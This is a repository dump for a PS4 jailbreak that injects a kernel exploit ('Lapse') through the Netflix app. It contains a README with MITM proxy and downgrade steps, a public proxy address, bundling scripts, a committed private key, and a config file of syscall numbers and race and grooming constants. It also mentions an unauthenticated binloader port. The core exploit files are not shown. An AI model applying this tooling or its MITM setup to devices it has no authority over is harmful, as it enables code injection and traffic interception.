├── PS4
├── payloads
│ ├── lapse
│ │ ├── README.md
│ │ ├── bundle.sh
│ │ ├── config.js
│ │ ├── misc.js
│ │ ├── lapse_main.js
│ │ ├── kernel_offset.js
│ │ ├── kernel.js
│ │ └── lapse_stages.js
│ ├── hello_world.js
│ └── ftpserver.js
├── __pycache__
│ └── proxy.cpython-312.pyc
├── ws.py
├── cert.pem
├── bundle_auto.sh
├── key.pem
├── README.md
├── proxy.py
└── downgrader.py
├── payloads
├── elfldr.elf
├── bundle_lapse.sh
├── README.md
├── hello_world.js
├── elf_loader.js
└── ftpserver.js
├── .github
└── FUNDING.yml
├── ws.py
├── proxy.py
├── hosts.txt
└── README.md
/PS4/payloads/lapse/README.md:
--------------------------------------------------------------------------------
1 | # lapse.js
2 |
3 | to generate `lapse.js` run `bash bundle.sh`
4 |
--------------------------------------------------------------------------------
/payloads/elfldr.elf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthonion/Netflix-N-Hack/HEAD/payloads/elfldr.elf
--------------------------------------------------------------------------------
/PS4/__pycache__/proxy.cpython-312.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/earthonion/Netflix-N-Hack/HEAD/PS4/__pycache__/proxy.cpython-312.pyc
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: [earthonion]
4 |
5 | # , c0w-ar , ufm42] #apply to GH sponsors!
6 |
7 |
--------------------------------------------------------------------------------
/payloads/bundle_lapse.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | cat 1_lapse_prepare_1.js 2_lapse_prepare_2.js 3_lapse_nf.js > lapse.js
4 | node --check lapse.js
5 | echo "lapse bundled!"
6 |
--------------------------------------------------------------------------------
/payloads/README.md:
--------------------------------------------------------------------------------
1 | # Netflix 'N Hack Payloads
2 |
3 | After launching the inject.js, a JS server is populated waiting for payloads.
4 |
5 | On this folder you have 2 examples:
6 |
7 | - hello_world.js : Render a text on the UI using Netflix Gibbon internals
8 |
9 | - lapse.js (port from Y2JB): generated by `bundle_lapse.sh` includes elf_loader.js
10 |
11 | - FTP Server: allows you to access sandbox of Netflix
--------------------------------------------------------------------------------
/PS4/payloads/hello_world.js:
--------------------------------------------------------------------------------
1 | // Hello World Payload
2 | // Clear existing logs and show large "Hello World" text
3 |
4 | // Clear the logger lines
5 | logger.lines = [];
6 | logger.refresh();
7 |
8 | // Create a large text widget
9 | var helloWidget = nrdp.gibbon.makeWidget({
10 | name: "hello",
11 | x: 200,
12 | y: 250,
13 | width: 880,
14 | height: 220
15 | });
16 |
17 | helloWidget.text = {
18 | contents: "HELLO WORLD!",
19 | size: 72,
20 | color: { a: 255, r: 255, g: 0, b: 0 }, // Cyan
21 | wrap: false
22 | };
23 |
24 | helloWidget.parent = logger.overlay;
25 |
26 | // Send notification
27 | send_notification("Hello NETFLIX! 🎬");
28 |
29 | // Log success
30 | logger.log("Payload executed!");
31 | logger.log("Hello World displayed");
32 | logger.flush();
33 |
--------------------------------------------------------------------------------
/payloads/hello_world.js:
--------------------------------------------------------------------------------
1 | // Hello World Payload
2 | // Clear existing logs and show large "Hello World" text
3 |
4 | // Clear the logger lines
5 | logger.lines = [];
6 | logger.refresh();
7 |
8 | // Create a large text widget
9 | var helloWidget = nrdp.gibbon.makeWidget({
10 | name: "hello",
11 | x: 200,
12 | y: 250,
13 | width: 880,
14 | height: 220
15 | });
16 |
17 | helloWidget.text = {
18 | contents: "HELLO WORLD",
19 | size: 72,
20 | color: { a: 255, r: 0, g: 255, b: 255 }, // Cyan
21 | wrap: false
22 | };
23 |
24 | helloWidget.parent = logger.overlay;
25 |
26 | // Send notification
27 | send_notification("Hello Netflix! 🎬");
28 |
29 | // Log success
30 | logger.log("Payload executed!");
31 | logger.log("Hello World displayed");
32 | logger.flush();
33 |
--------------------------------------------------------------------------------
/ws.py:
--------------------------------------------------------------------------------
1 | import ssl
2 | import asyncio
3 | import websockets
4 |
5 | ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
6 | ssl_context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
7 | #openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost"
8 |
9 | async def handle_client(websocket: websockets.WebSocketServerProtocol):
10 | client_ip = websocket.remote_address[0]
11 | print(f"Client connected from {client_ip}")
12 |
13 | try:
14 | async for message in websocket:
15 | print(message)
16 | except websockets.ConnectionClosed:
17 | print("Client disconnected")
18 |
19 | async def main():
20 | async with websockets.serve(handle_client, "0.0.0.0", 1337, ssl=ssl_context):
21 | print("listening to 0.0.0.0:1337...")
22 | await asyncio.Future()
23 |
24 | if __name__ == "__main__":
25 | asyncio.run(main())
--------------------------------------------------------------------------------
/PS4/ws.py:
--------------------------------------------------------------------------------
1 | import ssl
2 | import asyncio
3 | import websockets
4 |
5 | ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
6 | ssl_context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")
7 | #openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost"
8 |
9 | async def handle_client(websocket: websockets.WebSocketServerProtocol):
10 | client_ip = websocket.remote_address[0]
11 | print(f"Client connected from {client_ip}")
12 |
13 | try:
14 | async for message in websocket:
15 | print(message)
16 | except websockets.ConnectionClosed:
17 | print("Client disconnected")
18 |
19 | async def main():
20 | async with websockets.serve(handle_client, "0.0.0.0", 1337, ssl=ssl_context):
21 | print("listening to 0.0.0.0:1337...")
22 | await asyncio.Future()
23 |
24 | if __name__ == "__main__":
25 | asyncio.run(main())
--------------------------------------------------------------------------------
/PS4/payloads/lapse/bundle.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Bundle PS4 lapse payload
4 | # Creates a single bundled JS file
5 |
6 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
7 |
8 | # Ask user which payload
9 | echo "Select payload:"
10 | echo " 1) Jailbreak only (lapse.js)"
11 | echo " 2) Jailbreak + BinLoader (lapse_binloader.js)"
12 | read -p "Choice [1-2]: " choice
13 |
14 | # Base files (always included)
15 | FILES=(
16 | "config.js"
17 | "kernel_offset.js"
18 | "misc.js"
19 | "kernel.js"
20 | "threading.js"
21 | "lapse_stages.js"
22 | )
23 |
24 | # Main execution
25 | FILES+=("lapse_main.js")
26 |
27 | # Add payload after main if requested
28 | case "$choice" in
29 | 2)
30 | FILES+=("binloader.js")
31 | OUTPUT="$SCRIPT_DIR/lapse_binloader.js"
32 | echo "Bundling with binloader payload..."
33 | ;;
34 | *)
35 | OUTPUT="$SCRIPT_DIR/lapse.js"
36 | echo "Bundling jailbreak only..."
37 | ;;
38 | esac
39 |
40 | # Clear/create output file
41 | > "$OUTPUT"
42 |
43 | # Add files
44 | for file in "${FILES[@]}"; do
45 | filepath="$SCRIPT_DIR/$file"
46 |
47 | if [[ ! -f "$filepath" ]]; then
48 | echo "ERROR: Missing file: $filepath"
49 | exit 1
50 | fi
51 |
52 | echo "" >> "$OUTPUT"
53 | echo "/***** $file *****/" >> "$OUTPUT"
54 | echo "" >> "$OUTPUT"
55 | cat "$filepath" >> "$OUTPUT"
56 | echo "" >> "$OUTPUT"
57 |
58 | echo " Added: $file"
59 | done
60 |
61 | echo ""
62 | echo "Created: $OUTPUT"
63 |
64 | # Syntax check
65 | if node --check "$OUTPUT" 2>&1; then
66 | echo "Syntax check: OK"
67 | else
68 | echo "Syntax check: FAILED"
69 | exit 1
70 | fi
71 |
72 | echo "Done!"
73 |
--------------------------------------------------------------------------------
/PS4/cert.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIFFTCCAv2gAwIBAgIUKr+dpQpUj0v5YTQ67/4zri0KenowDQYJKoZIhvcNAQEL
3 | BQAwGjEYMBYGA1UEAwwPcHduLm5ldGZsaXguY29tMB4XDTI1MTAyMzA1MzI0N1oX
4 | DTI2MTAyMzA1MzI0N1owGjEYMBYGA1UEAwwPcHduLm5ldGZsaXguY29tMIICIjAN
5 | BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2xNG+2B1B2mXeDOsXpiD+AKagXEj
6 | fUo0yn6gz2QO4dmpTAGI2lPkJLwS6jmsiGs9fTC3Q11VeAVtXmGL4Q++JM8KGmTw
7 | m/Q2VTQTOLL30AynSSTYFUYisk5MQSORcMtKpYMta9K2pS/tszDFSLj7zY3VdVlU
8 | s2mUGLfxlGe33JFo2Nq7qYBN6zG4oaHR8HmhPUZuj5W4+qowtZ+plTaCwtV1TdUw
9 | yP2wzsGi52fBhofRFddh5zsJ5K+W+GgcKfnN2hOOaaE7gc1Kg9QaImpGjk4ns/93
10 | xRpDdA/mk/I/kYIQCGzs3E80DMAHhZqISn4ks5jiPFQE8VqRUXB1wrt7SignYDcL
11 | RNwPHd5cXFz9ULuwXCZs9u9W59e8c3M4ZpYopB3rM+vpq/QLKGdxg0IFMCDfUHuZ
12 | o3cS1+dzEecmQABifO9RCg/qlEBSM6QEL2Fdggo9XsmY/VPrEjCjHCoMO6R9QIQ+
13 | JJvEW9jWJq/Jr+h9av372HJjmJYqjRW2TYaSgQzHhThzRTlZkJIO2TVpwQ6wnuCt
14 | jzCCZHmcf6aieV2lspLjGiOzEp1CiOqYg4jT+046TKT2Mo4JwdW76+84JIB85e3C
15 | 5AhJwyY8v27QUfbnjvUrEv0bVuf3IUfCNJ/yldELKF4TAU8czdush+1PCJTxbRkH
16 | RlmfgE5vOIhaUfMCAwEAAaNTMFEwHQYDVR0OBBYEFDRXxI/wF5drdRtuDUngdnDo
17 | TcdCMB8GA1UdIwQYMBaAFDRXxI/wF5drdRtuDUngdnDoTcdCMA8GA1UdEwEB/wQF
18 | MAMBAf8wDQYJKoZIhvcNAQELBQADggIBAJs4mFIwqT04PAfQaXZIzJWWsfp/k7SX
19 | FcvKlBuQg3sBFOXgTGKYZwXWjcuATfA7IMGpeqW9Jl75ByfzgYfx343DiJkPBA9I
20 | gnGtYYkHMvHnul1OxK0ZECWAE+8qy7jM3SBbo70XaoioJeG43lP1AnmvweLYZVCP
21 | CKIL4rLzdxwvhRcpQewSlBKlt8NJW8AH/8h9+gGU8WnHTvDz/Oi0DoYJoX5EdRhq
22 | 6DkX8vxowiFKQzb3RoTWG2aVgZWWoy4sCT205rkNkco1S6QDAeAKeh9582gG1aGh
23 | ONvYLzIGAJwnh8HZ0TdxkADGd+diLKjDCTFR+zsQOnqviGGaAV7uzOpqu5fyJGgx
24 | h1Imtf4bMWUh3vsd9WwsfyDmFNkCbaaIyl7ApZdJpES9alMzl3qtyRB3DsW30FzO
25 | cGZyBup09m8nE2Jrt7/Exm6yGvfWSGb8dG35OUh7gqAuJrBSKcnpaH/dI+/uXuEu
26 | 1k+qUD9i7BiNFdw58nQ2qJSnuKp7ENGcfCKah8cq85u/plkHGedfkrclniJZArfW
27 | SmCwYFyzcsbK9kiaK51+cUBBW6QSi9O0nyJJw3Pjv9aLXB0fOuQT7MMO3Bk24GTt
28 | afDsx3fWUyjFGW1NQUZi0wVGev0+W36EYtAy5CvWX7XkyuDQrkPIAtgV9CcqXd8I
29 | y+CP0eoIU5wt
30 | -----END CERTIFICATE-----
31 |
--------------------------------------------------------------------------------
/PS4/bundle_auto.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # bundle_auto.sh - Bundle inject_auto.js with lapse_binloader.js
3 | # Creates a single JS file that auto-runs jailbreak + binloader
4 | # Automatically builds lapse_binloader.js from source files first
5 |
6 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
7 | INJECT_AUTO="$SCRIPT_DIR/inject_auto.js"
8 | LAPSE_DIR="$SCRIPT_DIR/payloads/lapse"
9 | PAYLOAD="$SCRIPT_DIR/payloads/lapse_binloader.js"
10 | OUTPUT="$SCRIPT_DIR/inject_auto_bundle.js"
11 |
12 | # Check inject_auto.js exists
13 | if [ ! -f "$INJECT_AUTO" ]; then
14 | echo "ERROR: inject_auto.js not found at $INJECT_AUTO"
15 | exit 1
16 | fi
17 |
18 | # Check lapse directory exists
19 | if [ ! -d "$LAPSE_DIR" ]; then
20 | echo "ERROR: lapse directory not found at $LAPSE_DIR"
21 | exit 1
22 | fi
23 |
24 | # ==========================================
25 | # Step 1: Build lapse_binloader.js from source
26 | # ==========================================
27 | echo "=== Building lapse_binloader.js ==="
28 |
29 | LAPSE_FILES=(
30 | "config.js"
31 | "kernel_offset.js"
32 | "misc.js"
33 | "kernel.js"
34 | "threading.js"
35 | "lapse_stages.js"
36 | "lapse_main.js"
37 | "binloader.js"
38 | )
39 |
40 | # Clear/create output file
41 | > "$PAYLOAD"
42 |
43 | for file in "${LAPSE_FILES[@]}"; do
44 | filepath="$LAPSE_DIR/$file"
45 |
46 | if [[ ! -f "$filepath" ]]; then
47 | echo "ERROR: Missing file: $filepath"
48 | exit 1
49 | fi
50 |
51 | echo "" >> "$PAYLOAD"
52 | echo "/***** $file *****/" >> "$PAYLOAD"
53 | echo "" >> "$PAYLOAD"
54 | cat "$filepath" >> "$PAYLOAD"
55 | echo "" >> "$PAYLOAD"
56 |
57 | echo " Added: $file"
58 | done
59 |
60 | LAPSE_SIZE=$(wc -c < "$PAYLOAD")
61 | echo "Built lapse_binloader.js: $LAPSE_SIZE bytes"
62 | echo ""
63 |
64 | # ==========================================
65 | # Step 2: Bundle inject_auto.js + lapse_binloader.js
66 | # ==========================================
67 | echo "=== Building inject_auto_bundle.js ==="
68 |
69 | # Create temp file for the bundled output
70 | TEMP_FILE=$(mktemp)
71 |
72 | # Read inject_auto.js up to the marker
73 | sed -n '1,/LAPSE_BINLOADER_PAYLOAD_START/p' "$INJECT_AUTO" > "$TEMP_FILE"
74 |
75 | # Append the payload
76 | cat "$PAYLOAD" >> "$TEMP_FILE"
77 |
78 | # Append the rest of inject_auto.js after the end marker
79 | sed -n '/LAPSE_BINLOADER_PAYLOAD_END/,$p' "$INJECT_AUTO" >> "$TEMP_FILE"
80 |
81 | # Move to output
82 | mv "$TEMP_FILE" "$OUTPUT"
83 |
84 | # Get file sizes
85 | INJECT_SIZE=$(wc -c < "$INJECT_AUTO")
86 | PAYLOAD_SIZE=$(wc -c < "$PAYLOAD")
87 | OUTPUT_SIZE=$(wc -c < "$OUTPUT")
88 |
89 | echo "Bundled!"
90 | echo " inject_auto.js: $INJECT_SIZE bytes"
91 | echo " lapse_binloader.js: $PAYLOAD_SIZE bytes"
92 | echo " Output: $OUTPUT_SIZE bytes"
93 | echo ""
94 |
95 | # Syntax check
96 | echo "Running syntax check..."
97 | if node --check "$OUTPUT" 2>&1; then
98 | echo "Syntax OK!"
99 | echo ""
100 | echo "=== Done ==="
101 | echo "Output: $OUTPUT"
102 | else
103 | echo ""
104 | echo "ERROR: Syntax check failed!"
105 | exit 1
106 | fi
107 |
--------------------------------------------------------------------------------
/PS4/key.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PRIVATE KEY-----
2 | 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
51 | RyADprdyroZ/CHzvqThmExhR28ooNow=
52 | -----END PRIVATE KEY-----
53 |
--------------------------------------------------------------------------------
/PS4/README.md:
--------------------------------------------------------------------------------
1 | # Netflix N Hack for PS4
2 |
3 | > [!NOTE]
4 | > The PS4 version requires very specific circumstances to work. Workarounds are included below.
5 |
6 | ## Compatibility
7 |
8 | Before proceeding, ensure the following:
9 |
10 | 1. **Netflix (with license) installed on your PS4 below the latest version**
11 | - If you have an existing jailbreak, simply install the vulnerable version for your region [EU](https://orbispatches.com/CUSA00127?v=01.53) [US](https://orbispatches.com/CUSA00129?v=01.53) [JP](https://orbispatches.com/CUSA02988?v=01.53)
12 | - This is useful if you can’t get BD-JB or are stuck using PPPwn.
13 | - If you are on the latest firmware, you *can* downgrade Netflix via MITM by downloading from PSN.
14 | You **cannot jailbreak**, but you will be prepared if a new kernel exploit releases.
15 |
16 | 2. **PS4 Firmware version must be between 8.00 and 12.02** (required for the Lapse exploit)
17 |
18 |
19 | Need help? Ask me on [Discord](https://discord.gg/QMGHzzW89V)
20 | ---
21 |
22 | ## Downgrading Netflix
23 |
24 | > [!NOTE]
25 | > Please see the [Extended Storage Method](https://github.com/earthonion/Netflix-N-Hack/)
26 |
27 | ### Prerequisites
28 | - Python
29 | - mitmproxy
30 | - Internet access
31 |
32 | > [!Warning]
33 | > Downgrading is experimental and may not work for you. If you accidentally update to 1.59 you cannot downgrade with MITM. **Extended storage images are planned**
34 |
35 | > [!NOTE]
36 | > If your previous Netflix version is above 1.53. You will need an existing Jailbreak to fix the "Please update the application" notification.
37 | > FTP into /user/download/CUSA00XXX (whichever region you are in)
38 | and delete "download0_info.dat"
39 |
40 | ### Install & Run Downgrade Proxy
41 | ```bash
42 | # Install mitmproxy
43 | pip install mitmproxy
44 |
45 | # Start the downgrade proxy
46 | mitmproxy -s downgrader.py --ssl-insecure --set stream_large_bodies=3m
47 | ```
48 |
49 |
50 | **Console Instructions**
51 |
52 | On your PS4:
53 |
54 |
55 |
56 | go into settings -> network -> set up internet connection -> wifi or lan -> Custom -> automatic -> do not specify -> DNS Automatic -> automatic -> Proxy server **USE** -> enter your computer ip address port : 8080
57 |
58 | >[!TIP]
59 | > To get your local IP address
60 | >Windows: Open CMD -> run `ipconfig` -> look under “IPv4 Address” in your active adapter (Wi-Fi/Ethernet).
61 | >
62 | >Linux: Run `ip a` → find your network interface (e.g., eth0, wlan0) → check the inet line.
63 | >
64 | >Mac: Run `ifconfig` → find en0/en1 → read the `inet` value (or `ipconfig getifaddr en0` for Wi-Fi).
65 |
66 | 1. Go to Netflix **on the home screen**
67 |
68 |
69 | 2. Press **Options** on your controller
70 |
71 |
72 | 3. Select **Check for Updates**
73 |
74 |
75 | ---
76 |
77 | ## Exploit
78 |
79 | ### Public Server
80 |
81 | Set your proxy in ps4 network settings to this:
82 |
83 | > [!NOTE]
84 | > **Address**: `172.105.156.37`
85 | > **Port**: `42069`
86 |
87 | Then simply open Netflix
88 |
89 | > [!NOTE]
90 | > blocking PSN is encouraged. please follow [this guide](https://consolemods.org/wiki/PS4:Blocking_OFW_Updates) for more information
91 |
92 | ### Host Locally
93 |
94 |
95 | ### Start MITM Proxy
96 |
97 | ```bash
98 | mitmproxy -s proxy.py
99 | ```
100 |
101 | ### Set your proxy in ps4 network settings to your local ip (machine running mitmproxy)
102 |
103 | Then simply open Netflix on your PS4.
104 | (Exploit initialization takes ~30 seconds.)
105 |
106 | # Important Notes
107 |
108 | > [!NOTE]
109 | > If PS4 kernel panics, or lapse fails; restart the console and try again.
110 | >
111 | > if Netflix crashes, just restart Netflix
112 |
113 | Once complete, the exploit will look for a payload in `/data/payload.bin` if it is not found it will look on the root of a plugged in USB drive for a file named `payload.bin` and will automatically copy it to `/data/payload.bin`.
114 |
115 | after initial exploit, USB is no longer needed.
116 |
117 | if payload is not found on either the USB or `/data/payload.bin`, a binloader will spawn on port 9021 for you to send via netcat or equivalent
118 |
119 |
120 | # Credits
121 | - HelloYunho for all the advise on porting lapse, and latest fw downgrade method
122 | - c0w-ar for working primitives and ROP chain
123 |
124 | ---
125 |
126 | If you run into issues, feel free to message me on Discord!
127 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/config.js:
--------------------------------------------------------------------------------
1 | // PS4 Lapse Configuration
2 | // Ported from PS5 version for Netflix n Hack
3 |
4 | var FW_VERSION = "";
5 | var IS_PS4 = true;
6 |
7 | var PAGE_SIZE = 0x4000;
8 | var PHYS_PAGE_SIZE = 0x1000;
9 |
10 | var LIBKERNEL_HANDLE = 0x2001n;
11 |
12 | // Socket constants (only ones not in inject_auto.js)
13 | // Already in inject_auto.js: AF_INET, AF_INET6, SOCK_STREAM, SOCK_DGRAM,
14 | // IPPROTO_UDP, IPPROTO_IPV6, IPV6_PKTINFO, SOL_SOCKET, SO_REUSEADDR
15 | var AF_UNIX = 1n;
16 | var IPPROTO_TCP = 6n;
17 | var SO_LINGER = 0x80n;
18 |
19 | // IPv6 socket options (IPV6_PKTINFO already in inject_auto.js)
20 | var IPV6_NEXTHOP = 48n;
21 | var IPV6_RTHDR = 51n;
22 | var IPV6_TCLASS = 61n;
23 | var IPV6_2292PKTOPTIONS = 25n;
24 |
25 | // TCP socket options
26 | var TCP_INFO = 32n;
27 | var TCPS_ESTABLISHED = 4n;
28 |
29 | // All syscalls from lapse.py (PS4)
30 | // (SYSCALL object is already defined in inject.js, we just add properties)
31 | SYSCALL.unlink = 0xAn; // 10
32 | SYSCALL.pipe = 42n; // 42
33 | SYSCALL.getpid = 20n; // 20
34 | SYSCALL.getuid = 0x18n; // 24
35 | SYSCALL.kill = 37n; // 37
36 | SYSCALL.connect = 98n; // 98
37 | SYSCALL.munmap = 0x49n; // 73
38 | SYSCALL.mprotect = 0x4An; // 74
39 | SYSCALL.getsockopt = 0x76n; // 118
40 | SYSCALL.socketpair = 0x87n; // 135
41 | SYSCALL.nanosleep = 0xF0n; // 240
42 | SYSCALL.sched_yield = 0x14Bn; // 331
43 | SYSCALL.thr_exit = 0x1AFn; // 431
44 | SYSCALL.thr_self = 0x1B0n; // 432
45 | SYSCALL.thr_new = 0x1C7n; // 455
46 | SYSCALL.rtprio_thread = 0x1D2n; // 466
47 | SYSCALL.mmap = 477n; // 477
48 | SYSCALL.cpuset_getaffinity = 0x1E7n; // 487
49 | SYSCALL.cpuset_setaffinity = 0x1E8n; // 488
50 | SYSCALL.jitshm_create = 0x215n; // 533
51 | SYSCALL.jitshm_alias = 0x216n; // 534
52 | SYSCALL.evf_create = 0x21An; // 538
53 | SYSCALL.evf_delete = 0x21Bn; // 539
54 | SYSCALL.evf_set = 0x220n; // 544
55 | SYSCALL.evf_clear = 0x221n; // 545
56 | SYSCALL.is_in_sandbox = 0x249n; // 585
57 | SYSCALL.dlsym = 0x24Fn; // 591
58 | SYSCALL.thr_suspend_ucontext = 0x278n; // 632
59 | SYSCALL.thr_resume_ucontext = 0x279n; // 633
60 | SYSCALL.aio_multi_delete = 0x296n; // 662
61 | SYSCALL.aio_multi_wait = 0x297n; // 663
62 | SYSCALL.aio_multi_poll = 0x298n; // 664
63 | SYSCALL.aio_multi_cancel = 0x29An; // 666
64 | SYSCALL.aio_submit_cmd = 0x29Dn; // 669
65 | SYSCALL.kexec = 0x295n; // 661
66 |
67 | var MAIN_CORE = 4; // Same as yarpe
68 | var MAIN_RTPRIO = 0x100;
69 | var NUM_WORKERS = 2;
70 | var NUM_GROOMS = 0x200;
71 | var NUM_HANDLES = 0x100;
72 | var NUM_SDS = 64;
73 | var NUM_SDS_ALT = 48;
74 | var NUM_RACES = 100;
75 | var NUM_ALIAS = 100;
76 | var LEAK_LEN = 16;
77 | var NUM_LEAKS = 32;
78 | var NUM_CLOBBERS = 8;
79 | var MAX_AIO_IDS = 0x80;
80 |
81 | var AIO_CMD_READ = 1n;
82 | var AIO_CMD_FLAG_MULTI = 0x1000n;
83 | var AIO_CMD_MULTI_READ = 0x1001n;
84 | var AIO_CMD_WRITE = 2n;
85 | var AIO_STATE_COMPLETE = 3n;
86 | var AIO_STATE_ABORTED = 4n;
87 |
88 | var SCE_KERNEL_ERROR_ESRCH = 0x80020003n;
89 |
90 | var RTP_SET = 1n;
91 | var PRI_REALTIME = 2n;
92 |
93 | // TCP info structure size for getsockopt
